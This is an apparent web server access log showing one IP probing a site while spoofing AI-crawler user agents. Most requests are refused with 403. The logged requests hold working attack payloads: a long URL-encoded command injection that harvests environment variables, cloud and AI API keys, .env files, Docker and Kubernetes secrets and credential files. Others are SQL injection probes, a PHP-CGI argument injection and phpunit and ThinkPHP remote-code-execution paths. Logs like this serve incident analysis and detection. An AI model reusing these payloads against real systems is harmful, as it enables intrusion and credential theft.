Y%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17523 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 12 **0/12571**
35.234.173.128 - - [03/Aug/2026:19:58:24 -0700] "POST / HTTP/2.0" 403 10840 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 6 **0/6129**
35.234.173.128 - - [03/Aug/2026:19:58:25 -0700] "POST / HTTP/2.0" 403 10840 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 4 **0/4968**
35.234.173.128 - - [03/Aug/2026:19:58:25 -0700] "POST / HTTP/2.0" 403 10840 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 6 **0/6753**
35.234.173.128 - - [03/Aug/2026:19:58:20 -0700] "GET /api/system?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17530 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 5014 **5/5014988**
35.234.173.128 - - [03/Aug/2026:19:58:25 -0700] "POST / HTTP/2.0" 403 10840 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 5 **0/5340**
35.234.173.128 - - [03/Aug/2026:19:58:25 -0700] "POST /api HTTP/2.0" 403 10843 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 6 **0/6150**
35.234.173.128 - - [03/Aug/2026:19:58:26 -0700] "POST /api/exec HTTP/2.0" 403 10848 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 9 **0/9966**
35.234.173.128 - - [03/Aug/2026:19:58:27 -0700] "POST /api/run HTTP/2.0" 403 10847 "-" "anthropic-ai" 5 **0/5928**
35.234.173.128 - - [03/Aug/2026:19:58:27 -0700] "POST /api/system HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 5 **0/5754**
35.234.173.128 - - [03/Aug/2026:19:58:28 -0700] "POST /execute HTTP/2.0" 403 10847 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 5 **0/5071**
35.234.173.128 - - [03/Aug/2026:19:58:28 -0700] "POST /shell HTTP/2.0" 403 10845 "-" "TLM-Audit-Scanner/1.0" 5 **0/5461**
35.234.173.128 - - [03/Aug/2026:19:58:28 -0700] "POST /admin/config HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 4 **0/4690**
35.234.173.128 - - [03/Aug/2026:19:58:29 -0700] "POST /admin HTTP/2.0" 403 10845 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 8 **0/8854**
35.234.173.128 - - [03/Aug/2026:19:58:29 -0700] "POST /debug HTTP/2.0" 403 10845 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 6 **0/6054**
35.234.173.128 - - [03/Aug/2026:19:58:29 -0700] "POST /api HTTP/2.0" 403 10843 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 9 **0/9900**
35.234.173.128 - - [03/Aug/2026:19:58:30 -0700] "POST /api HTTP/2.0" 403 10843 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 11 **0/11457**
35.234.173.128 - - [03/Aug/2026:19:58:30 -0700] "POST /api/exec HTTP/2.0" 403 10848 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 8 **0/8122**
35.234.173.128 - - [03/Aug/2026:19:58:30 -0700] "POST /api/run HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 5 **0/5882**
35.234.173.128 - - [03/Aug/2026:19:58:31 -0700] "POST /api/execute HTTP/2.0" 403 10851 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 8 **0/8229**
35.234.173.128 - - [03/Aug/2026:19:58:31 -0700] "GET /?id=1' HTTP/2.0" 403 10846 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 9 **0/9584**
35.234.173.128 - - [03/Aug/2026:19:58:32 -0700] "GET /index.php?id=1' HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 4 **0/4168**
35.234.173.128 - - [03/Aug/2026:19:58:33 -0700] "GET /api/v0/run_sql?id=probe&sql=SELECT+1 HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 5 **0/5310**
35.234.173.128 - - [03/Aug/2026:19:58:39 -0700] "POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/2.0" 403 10904 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 5 **0/5681**
35.234.173.128 - - [03/Aug/2026:19:58:40 -0700] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/2.0" 403 10890 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 4 **0/4627**
35.234.173.128 - - [03/Aug/2026:19:58:42 -0700] "POST /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/2.0" 403 10886 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 7 **0/7124**
35.234.173.128 - - [03/Aug/2026:19:58:44 -0700] "POST /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/2.0" 403 10883 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 6 **0/6869**
35.234.173.128 - - [03/Aug/2026:19:58:46 -0700] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20GSCAN_TP HTTP/2.0" 403 10967 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4923**
35.234.173.128 - - [03/Aug/2026:19:58:48 -0700] "GET /?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20GSCAN_TP HTTP/2.0" 403 10958 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 15 **0/15638**
163.7.12.95 - - [04/Aug/2026:00:53:09 -0700] "GET / HTTP/2.0" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 3 **0/3879**
163.7.12.95 - - [04/Aug/2026:00:53:10 -0700] "GET /wp-json/ HTTP/2.0" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 2 **0/2829**
163.7.12.95 - - [04/Aug/2026:00:53:11 -0700] "GET /wp-login.php HTTP/2.0" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 3 **0/3755**
@ Telegram